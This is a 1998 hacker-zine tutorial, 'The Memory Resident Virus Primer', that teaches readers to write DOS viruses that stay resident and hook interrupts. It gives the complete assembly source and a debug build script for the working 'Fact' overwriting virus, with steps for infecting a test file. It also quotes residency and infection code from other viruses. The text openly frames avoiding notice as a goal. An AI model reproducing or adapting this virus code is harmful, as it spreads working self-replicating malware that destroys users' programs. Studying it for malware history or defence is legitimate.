home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / CODBRK3.ZIP / cb0201.txt < prev    next >
Text File  |  1998-03-25  |  65KB  |  1,649 lines

  1.                           Lesson 3
  2.               The Memory Resident Virus Primer
  3.                              By
  4.                          Horny Toad
  5.                               
  6.  
  7.  
  8.  
  9.      This article is the third tutorial in a series of virus
  10. writing guides written by me, Horny Toad.  In the first two
  11. tutorials we discussed the two most basic forms of virii,
  12. the COM overwriting and COM appending.  This tutorial will
  13. now discuss and hopefully clarify virus residency techniques
  14. and aid in the general advancement of the understanding of
  15. assembly language.
  16.      As with the first two tutorials, I must explain my
  17. motives for choosing the certain style of instruction that
  18. will follow.  In the first two tutorials, the subject matter
  19. was more defined in the sense that when you are dealing with
  20. very basic programs, the knowledge tree is very linear in
  21. direction.  In order to explain the techniques of an
  22. overwriting virus, only the most basic of concepts need be
  23. explained.  Although many of the fundamentals of assembly
  24. language were presented, no depth was taken in their
  25. explanation.  I felt comfortable, for example, with leaving
  26. the explanation of the stack as a temporary memory location.
  27. In this tutorial, I will delve deeper into the usage and
  28. reasoning behind certain elements, rather than simply
  29. mentioning their existence.
  30.      Now with the disclaimers and scope of the tutorial.  In
  31. order to write a complete tutorial on all residency concepts
  32. and techniques, I would need to put together a book; which
  33. is currently in the conceptual stage, but we'll leave it at
  34. that.  There are so many techniques which are used to make a
  35. virus resident that we will only be going over the most
  36. widely used and popular ones.  As you can read from the
  37. title, this is a virus residency primer.  The goal is not to
  38. make you the most advanced resident virus coder out there,
  39. quite on the contrary, with this first residency tutorial,
  40. we will survey a few of the techniques of virus residency
  41. and solidify all of the concepts needed for further study.
  42.      The techniques and virii that will be presented in this
  43. tutorial are in assembly language.  The memory discussions
  44. will be applicable to other programming languages due to the
  45. fact that we will be looking at more system design and
  46. capabilities.  More specifically with assembly, the code
  47. that I use will be compatible with Borland's TASM, because
  48. that is what I use and try to convince others to switch to.
  49. In this tutorial we will only be coding in real mode 8086
  50. compatible.  Also, although I will briefly be addressing
  51. EMS, XMS, and VMM memory manipulation, the virus techniques
  52. described will primarily be utilizing conventional memory.
  53. Due to the current status of the curriculum, we will not be
  54. covering EXE infection techniques, they will be covered in
  55. the next tutorial.  Don't feel that you are getting any less
  56. of an education by limiting yourself to these concepts.  The
  57. majority of the virii out there are coded using these
  58. parameters.  In future installments of the Codebreakers
  59. magazines, protected mode programming on the 289, 386, 486
  60. and Pentium processors will be discussed.  Also, look for
  61. further installments on specialized memory manipulation.
  62. Right now, just learn the basics; solidify the fundamentals,
  63. then move on.
  64.      What is a memory resident virus?  Quite simply this is
  65. a virus which installs code in memory which infects future
  66. programs.  In order to accomplish this, the virus must find
  67. a way to allocate memory for itself, in other words, it
  68. needs to find a place to hide.  Furthermore, the virus needs
  69. to establish a procedure to activate the resident code to
  70. infect files.  Within this tutorial, we will be looking at
  71. two widely used procedures for allocating memory for the
  72. virus code.  The first, and most often overlooked, method is
  73. using the TSR (Terminate-Stay-Resident) interrupt 27h or 21h
  74. function 31h.  Yes, there is a reason why this technique is
  75. very often overlooked.  This is the least desired method of
  76. making your virus go memory resident.  While being the
  77. easiest to invoke, it is also the easiest to notice, which,
  78. when virus programming is concerned, being noticed is not
  79. always the most desired trait.  The second and more desired
  80. technique is manipulation of the MCB's or memory control
  81. blocks.  We will take an in-depth look at both techniques
  82. and describe the features associated with either method.
  83. Finally, in order to activate the resident code, the virus
  84. needs to hook certain interrupts.  For example, if the virus
  85. is to activate every time a program is run, the int 21h
  86. function 4bh (load/execute program) interrupt needs to be
  87. hooked.  Don't worry about the terminology right now, every
  88. thing will be cleared up soon enough.
  89.  
  90. --------------------
  91. INTERRUPTS
  92. --------------------
  93.  
  94.      Well, let's discuss interrupts.  In order to ensure
  95. that we are all on the same sheet of music, I would like to
  96. go over the interrupt procedure.  I know that there are
  97. people out there who continually use interrupts in their
  98. programs, but don't actually know what is happening behind
  99. the scenes when an interrupt is processed.  Every time that
  100. an interrupt is called from a program, the program execution
  101. halts and an ISR (Interrupt Service Routine) is executed.
  102. For example, if I called an int 21h function 09h, the
  103. program would halt and the called ISR would print characters
  104. to the screen, in accordance with the parameters that were
  105. passed.  Once the ISR is finished printing the characters,
  106. control is handed back to the original program.  In a
  107. nutshell, this is the interrupt procedure.  Now, how does
  108. all of this actually work?
  109.  
  110. Let's take a look at the interrupt procedure:
  111.  
  112. 1.   The first thing that the computer must do when an
  113.      interrupt is called is to save the current state of the host
  114.      program.  It does this by pushing the contents of the flags
  115.      register onto the stack.  In keeping with the 8086
  116.      parameters of this tutorial, the flags register is a 16-bit
  117.      register in charge of indicating the current status of the
  118.      computer and its processes.  Each of the different flags are
  119.      used for testing certain conditions relevant to program
  120.      processing.  Since we are only concerned with real mode
  121.      programming, only 9 of the flags effect our operations.
  122. 2.   Speaking of flags, the next thing that the computer
  123.      does when processing an interrupt is to clear two of the
  124.      flags, the interrupt and trap flags.  The interrupt flag
  125.      disables interrupts when set to 0, and enables them when set
  126.      to 1.  When the trap flag is set, the processor executes in
  127.      single-step mode, one instruction at a time.  Don't worry
  128.      too much about understanding flag testing and manipulation;
  129.      just be aware of what is happening behind the scenes.
  130. 3.   The next step that the computer takes is to push the CS
  131.      register onto the stack.  The CS contains the starting
  132.      address of the programs code segment.  Remember from
  133.      previous tutorials that, when the push instruction is used,
  134.      the SP (Stack Pointer) decrements by 2 before transferring
  135.      the word onto the stack.
  136. 4.   The next operation that occurs is the pushing of the IP
  137.      (Instruction pointer).  When the IP is combined with the CS
  138.      (CS:IP) this becomes the offset of the next instruction to
  139.      be executed in the host program.
  140. 5.   The processor is now ready to pass control to the ISR
  141.      (Interrupt Service Routine).  In order to find the location
  142.      of the ISR, the IVT (Interrupt Vector Table) must be
  143.      referenced.  The 8086 system contains 256 different
  144.      interrupts, number ranging from 0-255.  The IVT contains an
  145.      array of pointers to 256 addresses.  The IVT is located at
  146.      address 0000:0000.  Each of the pointers in the IVT is 4
  147.      bytes long, or 2 words, consisting of the segment and offset
  148.      of the ISR.  This is important to know and will be
  149.      referenced to later when we talk about direct manipulation
  150.      of the IVT.  This address in the IVT is loaded into CS:IP
  151.      and the ISR is executed.
  152.  
  153.      Once the ISR has been completed, the computer needs to
  154. recover and transfer control back to the host program.  The
  155. procedures taken to initialize the interrupt are essentially
  156. reversed through the execution of an IRET instruction.  The
  157. IRET instruction pops the word at the top of the stack into
  158. the IP.  The SP is then incremented and the new word at the
  159. top of the stack is popped into CS, followed by the same
  160. procedure for the flags register.
  161.      
  162.      When writing your own ISR's remember to save all
  163. registers and flags that might be changed during the
  164. execution of the ISR.  On the flip side, remember to restore
  165. all of the registers from the stack once the routine is
  166. over.  It's a good practice to keep a pen and paper next to
  167. you so that you can record what registers that you have
  168. pushed onto the stack.  You can then have an easy reference
  169. when it comes time to popping them off the stack.  You will
  170. see in a majority of virii that virus writers like to push
  171. all the registers, including all the flag registers, at the
  172. beginning of their ISR.  This can be a good safety procedure
  173. just to make sure that your ISR doesn't change anything it
  174. shouldn't.  For a good example of the amount of register
  175. changes that occur in your average code, trace your virus
  176. through debug and watch all of the changes that occur.
  177.  
  178.      I realize that this is quite a mouthful just for the
  179. description of an interrupt procedure.  It is, however,
  180. important to know when writing your own ISR's and
  181. manipulating the interrupt process.  Care needs to be taken
  182. to ensure that the same procedure is followed when custom
  183. ISR's are used.
  184.  
  185.  
  186. -------------------------------------------------
  187. Manipulating the Interrupt Vector Table
  188. -------------------------------------------------
  189.  
  190.  
  191.      Now that we have discussed what an interrupt does, we
  192. now need to look at the process of changing the interrupt
  193. vector table (IVT) to look at our custom interrupt service
  194. routine (ISR).  The process of changing an interrupt or
  195. capturing the interrupt function is also known as "hooking"
  196. an interrupt.  There are two interrupt functions in place
  197. which allow for manipulation of the IVT.  Calling these two
  198. interrupts functions with the correct parameters will allow
  199. the IVT to point to your virus code.  Some virus writers
  200. prefer to directly change the IVT by figuring out the actual
  201. address of the interrupt pointer.
  202.  
  203. The two interrupt functions which provide automatic IVT
  204. manipulation are:
  205.  
  206. INT 21h Function 35h:   Get Interrupt Vector
  207.  
  208.      mov  ah,35h
  209.      mov  al,int#       ;desired interrupt number
  210.      int  21
  211.  
  212. and
  213.  
  214. INT 21h Function 25h:    Set Interrupt Vector
  215.  
  216.      mov  ah,25h
  217.      mov  al,int#       ;desired interrupt number
  218.      lea  dx,new        ;new interrupt address
  219.      int  21h
  220.  
  221.  
  222.      When the first interrupt function is called, the
  223. results of the query, the ISR segment:offset are returned in
  224. ES:BX.  You therefore need to save the results so that the
  225. ISR can be called from your code once your custom ISR has
  226. completed execution.
  227.  
  228. There is no "one" way to tell you how to use the "get
  229. interrupt vector".  Many virus writers save their results in
  230. different ways.  Some people use delta offsets in their
  231. resident routines, some don't.  Everyone has their own
  232. method of writing a residency routine, which gives the code
  233. its own unique feature.  I have included below some examples
  234. taken directly from virus code to illustrate the different
  235. styles in handling this function.
  236.  
  237.  
  238. mov   ax,3521h
  239. int   21h                       ;store the int 21 vectors
  240. mov   word ptr [bp+int21],bx    ;in cs:int21
  241. mov   word ptr [bp+int21+2],es
  242.  
  243. ------------------------------------------
  244.  
  245. MOV  AX,3516H       ; Get interrupt 16H
  246. INT  21H            ; DOS service (Get int)
  247. MOV  I16OFF,BX      ; Save interrupt 16H offset
  248. MOV  I16SEG,ES      ; Save interrupt 16H segment
  249.  
  250. ------------------------------------------
  251.  
  252. mov ax,3521h              ;set ax to get INT 21 vector address
  253. int 21h                           ;get INT 21 vector
  254. mov [WORD int21trap+1+0100h],bx   ;store address in viral code
  255. mov [WORD int21trap+3+0100h],es   ;store segment in viral code
  256.  
  257. ------------------------------------------
  258.  
  259. push    es
  260. pop     ds
  261. mov     ax,3521                   ;get original int21 vector
  262. int     21
  263. mov     ds:[oi21],bx
  264. mov     ds:[oi21+2],es
  265.  
  266.  
  267.  
  268. Once you have saved the original ISR, you need to then
  269. change the IVT to point to your custom ISR.  The offset of
  270. the beginning section of the virus ISR is loaded into DX and
  271. the int 21 function 25h is called.
  272.  
  273. The other way of manipulating the IVT is through direct
  274. manipulation.  Direct manipulation is when you access the
  275. IVT directly at its location 0000:0000.  Just as with
  276. the previous method, you will see many different methods of
  277. changing the IVT directly.  As long as you understand the
  278. principle of the technique, you can choose however you want
  279. to change the IVT.  Just be careful that you know where the
  280. IVT is currently located.  When in doubt, let DOS find it
  281. for you.  Well on to the technique.
  282.  
  283.      xor  ax,ax
  284.      mov ds,ax
  285.      mov ax,offset myintXXh
  286.      cli
  287.      xchg word ptr ds:[XXh*4],ax
  288.      mov word ptr cs:[oldintXX],ax
  289.      mov ax,cs
  290.      xchg word ptr ds:[XXh*4+2],ax
  291.      mov word ptr cs:[oldintXX+2],ax
  292.      sti
  293.      push cs
  294.      pop ds        
  295.  
  296. So, what are we doing here?  Initially, we need to set the
  297. DS register to point to the IVT at address 000:000.  We do
  298. this by clearing the accumulator register (AX) to zero using
  299. the exclusive OR (XOR) instruction.  Once AX equals zero, we
  300. then move AX into DS.  This might seem a little tedious,
  301. just remember that there is no instruction for a direct move
  302. from memory to the DS register, so this procedure is
  303. necessary.  The next instruction is fairly straightforward.
  304. The offset of "myintXXh" (where XXh is the interrupt which
  305. we are changing) is loaded into AX.  "MyintXXh" is the
  306. location of my ISR routine.  The following instruction, CLI,
  307. clears the interrupt flag (IF), which in turn, disables
  308. external interrupts.  This is a safety procedure to ensure
  309. that no interrupts are processed during the manipulation of
  310. the IVT.  The rest of the code is pretty self-explanatory.
  311. Essentially, what you need to do is multiply the interrupt
  312. number by 4 to get the address of the pointer to the ISR.
  313. Remember that each of the pointers in the IVT is 4 bytes
  314. long, or 2 words, consisting of a segment and offset.  The
  315. above code does not take into account any further offsets
  316. that might be applicable to you code.  There are many styles
  317. of writing IVT manipulation routines.  You will just have to
  318. find the type that you want to use and go for it.
  319.  
  320.  
  321.  
  322. ---------------------------------
  323. Self-Recognition
  324. ---------------------------------
  325.  
  326.      Hardly warranting an entire section, an important
  327. aspect of a memory resident virus is being able to determine
  328. whether or not its code is already resident.  If a virus
  329. does not perform a check for previous residency
  330. installation, the consequences can be disastrous.  Bottom
  331. line, check whether you are already in memory.  This is
  332. typically accomplished by issuing a bogus interrupt to the
  333. interrupt that your virus handles.  For example, if your
  334. virus hooks int 21h, your virus needs to perform in such a
  335. way that a check in the ISR can recognize itself.  Many
  336. virus writers tend to load AX with an outrageous value and
  337. perform an int 21h.  The virus ISR would then perform a
  338. check of AX when it receives the interrupt.  If the virus is
  339. already resident, control is passed back to the host.  If
  340. not, the next instruction in the virus would be to start the
  341. infection procedure.  Whenever you talk to me about virus
  342. programming, I will always push Ralf Brown's interrupt list.
  343. Simply put, it's a fantastic tool for assembly programming.
  344. Cruise around the int 21h portion of his list and you will
  345. see many virus installation check entries.  These are
  346. interrupts that have been "created" by the virus writers for
  347. self-recognition checks.  Take a look at the example below.
  348. I have included a cut from Brown's list of int 21h function
  349. 33dah.  This is a bogus function other than being used by
  350. the CoffeeShop Virus for self-recognition.  Below this cut,
  351. you can see a portion from the beginning of the CoffeeShop
  352. Virus.  The virus calls int 21 function 33da.  Now look at
  353. the portion of the int 21h handler that I have included,
  354. which checks to see if the int 21h call included 33da loaded
  355. in AX.  If so, the virus will simply transfer control back
  356. to the host.  If not, it hooks the interrupts and continues
  357. with the infection process.
  358.  
  359. --------v-2133DA------------------------
  360. INT 21 - VIRUS - "CoffeeShop" - INSTALLATION CHECK
  361.     AX = 33DAh
  362. Return: AH = A5h if resident
  363.         AL = virus version
  364. SeeAlso: AX=330Fh,AX=33E0h,AX=5643h"VIRUS"
  365.  
  366.  
  367. Taken from the beginning of the CoffeeShop Virus
  368. ----------------------------------------------------
  369.                mov     ax,33DA            ;already resident?
  370.                int     21
  371.                cmp     ah,0A5
  372.                je      not_install
  373. ----------------------------------------------------
  374.  
  375.  
  376. Int 21h handler taken from CoffeeShop Virus
  377. ----------------------------------------------------
  378. ni21:        pushf
  379.              cmp     ax,33DA              ;install-check ?
  380.              jne     not_ic
  381.              mov     ax,0A500+VERSION     ;return a signature
  382.              popf
  383.              iret
  384. ----------------------------------------------------
  385.  
  386.  
  387.  
  388. ---------------------------------------
  389. Is it a COM file?
  390. ---------------------------------------
  391.  
  392.      In the interest of learning something new, lets take a
  393. look at another way to determine whether or not a file, that
  394. is opened, is a COM file.  In the next tutorial, we will be
  395. going over EXE infection, but currently your virii need to
  396. know if the file that is being executed is a COM file.  You
  397. already know how to "find first file" with the COM
  398. extension, but what do you do when the virus intercepts all
  399. files that are using the function 4bh?  I have included a
  400. cut from Dark Helmet's Civil War II Virus, which
  401. demonstrates a good technique for scanning the ASCIIZ string
  402. for the COM extension.  By the way, someone once asked me,
  403. what the hell an ASCIIZ string is.  The ASCIIZ string is a
  404. string that is terminated by two hex zeros, a good example
  405. being the string that many virii use for determining file
  406. type, the file name string at 1eh of the disk transfer area
  407. (DTA).  Take a look at the code below, then I will discuss
  408. it.
  409.  
  410.  
  411. check_exec:
  412.           cmp  ax,04b00h           ; exec function?
  413.           je   chk_com
  414.  
  415.  
  416. chk_com:  mov  cs:[name_seg-6],ds
  417.           mov  cs:[name_off-6],dx
  418.           cld                      ; check extension
  419.           mov  di,dx                    ; for COM
  420.           push ds
  421.           pop  es
  422.           mov  al,'.'                   ; search extension
  423.           repne     scasb                    ; check for 'COM'
  424.           cmp  word ptr es:[di],'OC'         ; check 'CO'
  425.           jne  continu
  426.           cmp  word ptr es:[di+2],'M'        ; check 'M'
  427.           jne  continu
  428.  
  429. The heart of the above code is the instruction "repne
  430. scasb".  Essentially what this operation does is scan the
  431. given data until it hits the "." of the filename extension.
  432. It then does a simple read of the extension to compare if it
  433. is a COM file.  Now lets talk about it more in depth.  What
  434. is a better way of reading this instruction?  Probably,
  435. repeat scan string until first byte match.  Boy, that's a
  436. mouthful.  The "repne" means to find the first match.  If
  437. you see "repe", that means to find the first non-match.  As
  438. far as the "scasb", AL needs to be loaded with the byte
  439. value that you want to scan for.  This operation scans ES:DI
  440. in memory for the specific string.  Now back up a few lines.
  441. The cld instruction (C)lears the (D)irection (F)lag.  In
  442. string operations, this causes the scanning to go from left
  443. to right.  If DF is left set to 1, then the scan would go
  444. from right to left.  All that remains is to compare the
  445. string remaining with the COM extension.
  446.  
  447.  
  448. Another commonly used method to identify if the program is
  449. an EXE file is looking for the MZ string at the beginning of
  450. the EXE file header.  MZ are the initials of Mark Zbikowsky,
  451. the programmer who designed the EXE file format.  At offset
  452. 0 of the EXE file header compare for the letters "ZM",
  453. computer reads it backward, or for the hex equivalent 4Dh
  454. 5ah.  Below, I have included an example of this operation.
  455. After the file is opened, read a chunck into a buffer and
  456. compare the word at the beginning of the buffer for the EXE
  457. signature, "ZM".
  458.  
  459.           mov  ax,3d02h
  460.           int  21h
  461.           xchg ax,bx
  462.  
  463.           mov  ah,3fh
  464.           lea  dx,[bp+offset buffer]
  465.           mov  cx,1Ah
  466.           int  21h
  467.  
  468.           cmp  word ptr [bp+buffer],'ZM'
  469.  
  470.  
  471.  
  472.  
  473. ---------------------------------------
  474. Going Resident using INT 27h
  475. ---------------------------------------
  476.  
  477.      No tutorial on resident virus writing is complete
  478. without addressing the DOS TSR interrupt.  Many virus
  479. writers would disagree on this point, hoping that, if they
  480. don't talk about it, maybe it will just go away.  When I
  481. used to live in Germany, the taboo subject was the Nazis.  I
  482. kept telling my German friends to just deal with it, accept
  483. that it happened, and drive on.  Int 27h was created, it's
  484. still alive, deal with it.  So, what is this monster, int
  485. 27h?  What does it do that is so terribly wrong?  Let's take
  486. a look.
  487.  
  488. * - I must mention that when I am discussing the int 27h
  489. method of going resident, I am also generally referring to
  490. its sister interrupt, int 21 function 31h.  Both essentially
  491. accomplish the same end result, but are utilized slightly
  492. different.
  493.  
  494.      Int 27, quite simply, is the easiest and fastest way to
  495. write a resident routine.  Within a COM program, when int
  496. 27h is called, the program halts execution (Terminates), but
  497. the code stays in memory (Stay Resident).  The problem that
  498. arises with usage of this interrupt is that, after the
  499. program has terminated and gone resident, the program
  500. execution stops.  Therefore, when an infected program is
  501. executed, the computer does become infected by the virus,
  502. but the program user is alerted to the virus due to the
  503. suspicious activity of the program halting.  Granted, if the
  504. person re-executed the program, it would then run normally,
  505. as long as the virus code contained a self-recognition
  506. routine.
  507.  
  508.      Let's even take a closer look at int 27h.  Why does the
  509. COM file cease execution once the int 27h is issued?  What
  510. is it actually doing?  Well, to answer the first question,
  511. the writers of the actual interrupts didn't properly consult
  512. us virus writers, hence the reason for the "Terminate"
  513. portion of the ISR.  Many of the non-virus TSR's that are
  514. written are utilities designed to intervene in the
  515. background when a specific event or condition takes place.
  516. The programmers of these TSR's could care less whether or
  517. not their utility continues to execute after the int 27h is
  518. issued, mainly because the entire code is the actual utility
  519. to be loaded.  When the int 27h is issued, DOS retains all
  520. memory occupied up to CS:DX, then passes control to
  521. COMMAND.COM.  This is an important fact when using int 27h.
  522. Remember to move the offset into DX of the last line that
  523. you want loaded into memory, just prior to issuing the
  524. interrupt.  When you are programming your virus using int
  525. 27h, the beginning of the resident portion of the code is
  526. defined in the offset of the new interrupt vector, or DX
  527. when using int 21h function 25h.
  528.  
  529.      I know that without an example to look at, this all
  530. probably seems very confusing.  In choosing a virus to show
  531. you of this technique demonstrated, I wanted to find a very
  532. small virus.  I choose to use the Fact Virus.  As with most
  533. of the demonstration virus code that I put in my tutorials,
  534. the code is heavily unoptimized and basic.  I choose to
  535. include it because of its small size and usage of the basic
  536. techniques of int 27h residency.  The virus does work.  I
  537. will guide you through the process of running the virus
  538. after we look at its structure.
  539.  
  540. .model tiny
  541. .code
  542.  org   100h
  543.  
  544. code_begin:
  545.           mov     ax,3521h
  546.           int     21h
  547.           mov     word ptr [int21_addr],bx
  548.           mov     word ptr [Int21_addr+02h],es
  549.  
  550.           mov     ah,25h
  551.           lea     dx,int21_virus
  552.           int     21h
  553.  
  554.           xchg    ax,dx
  555.           int     27h
  556.  
  557. int21_virus  proc    near
  558.           cmp     ah,4bh
  559.           jne     int21_exit
  560.  
  561.           mov     ax,3d01h
  562.           int     21h
  563.           xchg    ax,bx
  564.  
  565.           push    cs
  566.           pop     ds
  567.  
  568.           mov     ah,40h
  569.           mov     cx,(code_end-code_begin)
  570.           lea     dx,code_begin
  571. int21_exit:
  572.              db       0eah
  573. code_end:
  574. int21_addr   dd       ?
  575. virus_name   db      '[Fact]'
  576.                     endp
  577.  
  578. end       code_begin
  579.  
  580.  
  581.      I would hope that you understand the majority of this
  582. virus code.  I specifically choose a very small virus to
  583. prove that a TSR virus does not have to be 10+ pages in order to
  584. work.  Yes, the Fact virus does need to contain a few more
  585. functions in order to make it an effective virus, but it
  586. does work.   When you look at this virus, you need to
  587. actually separate the code into two pieces.  The first piece
  588. is the administrative section, beginning with "code_begin".
  589. The second piece of code is the int21_virus procedure.  The
  590. second portion of code is never executed during the first
  591. run of the virus.  The only thing that this virus does, on
  592. initial run, is change the IVT and make the virus TSR.  Try
  593. to visualize in your mind what the ISR looks like in memory.
  594. Whenever an int 21h is issued, control must go through this
  595. virus.  The only thing that this virus does is stay dormant
  596. in memory until the int 21h function 4bh (load/execute
  597. program) is initiated.  It then crudely overwrites the
  598. program with it's own code.
  599.  
  600. Something that you should be aware of when you study virus
  601. code is the use of the object code "0eah" directly before
  602. the interrupt storage area.  Remember when we programmed an
  603. appending virus and used the "db 0eh,0,0" at the beginning
  604. of the program.  All we are doing is coding a specific
  605. instruction directly into the program.  "0eah" or in binary
  606. 11101010 is simply the object code for a direct
  607. intersegment, or far jump.  In this case, the far jump is to
  608. the address of the original ISR, int 21h.
  609.  
  610. Let's infect ourselves with the fact virus.  The Fact virus
  611. is a very small weak virus.  Follow my simple instructions
  612. below and nothing will go wrong.
  613.  
  614. There are many readers of this tutorial who, for some
  615. reason, do not receive the entire magazine.  Therefore, I
  616. will include the debug script for the Fact virus below, so
  617. that you can play with it even if you did not receive the
  618. entire Codebreakers magazine.  For those of you who do have
  619. the magazine, 3rd edition, you can find all of the necessary
  620. programs in the Cdbkutl folder.
  621.  
  622. In order to get a functioning virus from the below code you
  623. need to find your copy of debug. Cut the below code out and
  624. save it to a file called fact.txt.  Then, at a cursor, with
  625. debug in the same directory,type:
  626. debug < fact.txt
  627.  
  628.  
  629. N FACT.COM
  630. E 0100 B8 21 35 CD 21 89 1E 2D 01 8C 06 2F 01 B4 25 BA
  631. E 0110 17 01 CD 21 92 CD 27 80 FC 4B 75 10 B8 01 3D CD
  632. E 0120 21 93 0E 1F B4 40 B9 2D 00 BA 00 01 EA 00 00 00
  633. E 0130 00 5B 46 61 63 74 5D
  634. RCX
  635. 0037
  636. W
  637. Q
  638.  
  639.  
  640. If you need a dummy file to infect, follow the same
  641. procedure above for fly.com.  Fly.com is a small COM
  642. file that does absolutely nothing.
  643.  
  644. N FLY.COM
  645. E 0100 B4 4C B0 00 CD 21
  646. RCX
  647. 0006
  648. W
  649. Q
  650.  
  651.  
  652. Exit to DOS.  Windows gets funny with TSR's.  Once both of
  653. the files are in the same directory, type "fact".  The virus
  654. will now be installed into memory.  Type "dir" to see the
  655. contents of the directory.  Note the file lengths of fact
  656. and fly, 55 and 6.  Now type "fly".  In order to execute the
  657. program, int 21 function 4bh is initiated.  The virus
  658. overwrites the fly program in the new ISR.  Now type "dir"
  659. again.  Notice that the length of fly is now increased to
  660. 45. Pretty cool, huh?  You can reboot your system now just
  661. to make sure that the virus is clear from memory.
  662.  
  663.      Well, that is int 27h in a nutshell.  There are many
  664. different techniques that can be utilized when playing
  665. around with int 27h.  Some programmers like to attach the
  666. TSR routine to the end of the virus and specify the
  667. beginning of code going into memory.  Some prefer to prepend
  668. the virus to the beginning of the program so that it is
  669. easier to calculate the TSR routine parameters.  By the way,
  670. as I said previously, for the most part int 27h can be
  671. interchanged with int21 function 31h.  It is just easier,
  672. when using programs under 64k, to use int 27h.  If you would
  673. like to use int 21h function 31h, follow the code below:
  674.  
  675.      mov  ah, 31h
  676.      mov  dx,size (in paragraphs)
  677.      int  21h
  678.  
  679.  
  680. Example of function 31h:
  681. By the way, the code below is not a virus, rather a simple
  682. demonstration of a resident program.  Wart.com hooks the
  683. keyboard interrupt (int 09h).  When the program is resident,
  684. every time you push the `h' or `t' (or `H' or `T'), you will
  685. hear a beep.  Don't worry about the instructions that you
  686. don't understand, just look at the structure of the routine
  687. that makes the code go resident.
  688.  
  689.  
  690. code segment
  691.      assume cs:code, ds:code
  692.      org 100h
  693.  
  694. vlength equ (resi_leap-start+15)/16
  695.  
  696. start:
  697. jmp  resi_leap
  698.  
  699. old_int9  dd   ?
  700.  
  701. my_int9:
  702. push ax
  703. push cx
  704. push ds
  705. in   al,60h
  706. cmp  al,35
  707. je   wart_growth
  708. cmp  al,104
  709. je   wart_growth
  710. cmp  al,20
  711. je   wart_growth
  712. cmp  al,116
  713. je   wart_growth
  714. jmp  bye_bye
  715. wart_growth:
  716. mov  al,192
  717. out  43h,al
  718. mov  ax,1000
  719. out  42h,al
  720. mov  al,ah
  721. out  42h,al
  722. in   al,61h
  723. mov  ah,al
  724. or   al,03
  725. out  61h,al
  726. mov  cx,19000
  727. pause:
  728. loop pause
  729. mov  al,ah
  730. out  61h,al
  731. bye_bye:
  732. pop  ds
  733. pop  cx
  734. pop  ax
  735. jmp  cs:old_int9
  736. ;-----------Below this is the code responsible for going resident
  737. ;-----------and hooking int 09h.  Everything above this is what
  738. ;-----------stays resident, my new ISR for int 09h
  739. resi_leap:
  740. cli
  741. mov  ax,3509h
  742. int  21h
  743. mov  word ptr old_int9,bx
  744. mov  word ptr old_int9+2,es
  745. mov  ax,2509h
  746. mov  dx,offset my_int9
  747. int  21h
  748. mov  ah,31h
  749. mov  dx,vlength
  750. sti
  751. int  21h
  752.  
  753. code ends
  754.      end start
  755.  
  756.  
  757. N WART.COM
  758. E 0100 EB 43 90 00 00 00 00 50 51 1E E4 60 3C 23 74 0F
  759. E 0110 3C 68 74 0B 3C 14 74 07 3C 74 74 03 EB 1F 90 B0
  760. E 0120 C0 E6 43 B8 E8 03 E6 42 8A C4 E6 42 E4 61 8A E0
  761. E 0130 0C 03 E6 61 B9 38 4A E2 FE 8A C4 E6 61 1F 59 58
  762. E 0140 2E FF 2E 03 01 FA B8 09 35 CD 21 89 1E 03 01 8C
  763. E 0150 06 05 01 B8 09 25 BA 07 01 CD 21 B4 31 BA 45 01
  764. E 0160 FB CD 21 48 6F 72 6E 79 20 54 6F 61 64 21 0A 0D
  765. RCX
  766. 0070
  767. W
  768. Q
  769.  
  770.  
  771. -------------------------------
  772. Memory Control Blocks
  773. -------------------------------
  774.  
  775.      In order to have any understanding of what a memory
  776. control block (MCB) is, we must first have a discussion
  777. about memory.  As you remember in the beginning of this
  778. tutorial, we are only going to be discussing real mode 8086
  779. programming.  This, in a sense, limits the scope of memory
  780. that we can utilize.  What part of memory can we use?  In
  781. real mode programming, we are restricted to memory below 1
  782. MB.  The area below 1 MB can be further divided into 2
  783. sections, conventional and upper memory.  Above 1 MB lies
  784. the extended and high memory, which will be addressed in
  785. future tutorials.  This is what it looks like.
  786.  
  787. Conventional Memory   - 0 to 640k
  788. Upper Memory          - 640k to 1 MB
  789. Extended memory       - Addressed above
  790. High Memory           -      1 MB
  791.  
  792. Typically, most virus writers will confine their memory
  793. utilization to conventional memory.  When you hear people
  794. say that they are loading their virus high, it usually means
  795. that they are loading their virus into the higher portion of
  796. conventional memory.
  797.  
  798.      Conventional memory is divided up into blocks of
  799. memory.  Each block of memory is "described" by a memory
  800. control block, or MCB.  Depending on who you talk to, the
  801. MCB will also be referred to as the memory arena or arena
  802. header, but the virus writing convention is to use the term
  803. MCB.  At the beginning of each block of memory, DOS creates
  804. a one-paragraph (16-byte) header, which describes certain
  805. attributes of the block.  Keep in mind that the memory
  806. blocks themselves are divided into 16 byte memory
  807. paragraphs.  As the blocks of memory are allocated by DOS
  808. for program use, the MCB's describe how the actual block of
  809. memory is being used.  An MCB is located immediately before
  810. the block of memory it describes.  All of the MCB's together
  811. are referred to as the MCB chain.  Each of the MCB's in the
  812. chain have a certain status, M or Z.  M status denotes that
  813. the MCB is located within the chain, while Z is the status
  814. of the last MCB in the chain.  This all might sound a bit
  815. confusing, but it isn't.
  816.  
  817.  
  818.  
  819. ------------------
  820. -   MCB         -
  821. ------------------
  822. -  Block of     -
  823. -  Memory       -
  824. -----------------
  825. -   MCB         -
  826. -----------------
  827. -  Block of     -
  828. -  Memory       -
  829. -----------------
  830. -   MCB         -
  831. ------------------
  832.  
  833. and so on..
  834.  
  835.  
  836. Lets take a look at the information that can be found within
  837. an MCB.
  838.  
  839.                              MCB Structure
  840.  
  841. Offset               Size               Description
  842. --------------------------------------------------------
  843. 0                     1               MCB status (M or Z)
  844. 1                     2               PSP segment of owner
  845. 3                     2               Memory block size (in paragraphs)
  846. 5                     3               Not used
  847. 8                     8               Program filename
  848.  
  849.  
  850. To better visualize what the MCB's are, I wrote a small
  851. program which traces up the MCB chain, extracting certain
  852. data and displaying it to the screen.  Under the directory
  853. Cdbkutl in the 3rd edition of the Codebreakers Zine, you
  854. will find the program "CB-MCB.EXE".  Run this program to see
  855. a demonstration of the MCB chain on your computer.  This
  856. program contains NO virus code, just a simple demo of what
  857. useful data that can be found in an MCB.
  858.  
  859. You will notice that the PSP segment is located at offset 1.
  860. I really don't want to explain what the PSP is again; I have
  861. already touched upon it in previous tutorials.  Just to
  862. refresh your memory, when the program loader is loading a
  863. program into a segment for execution, it creates a 256-byte
  864. program segment prefix.  Along with the MCB, many useful
  865. bits of information can be derived from the PSP.  Ralf
  866. Brown, with whom you all should be familiar with, has
  867. created a beautiful diagram of the PSP.  I have included it
  868. at the end of this tutorial, take a look.
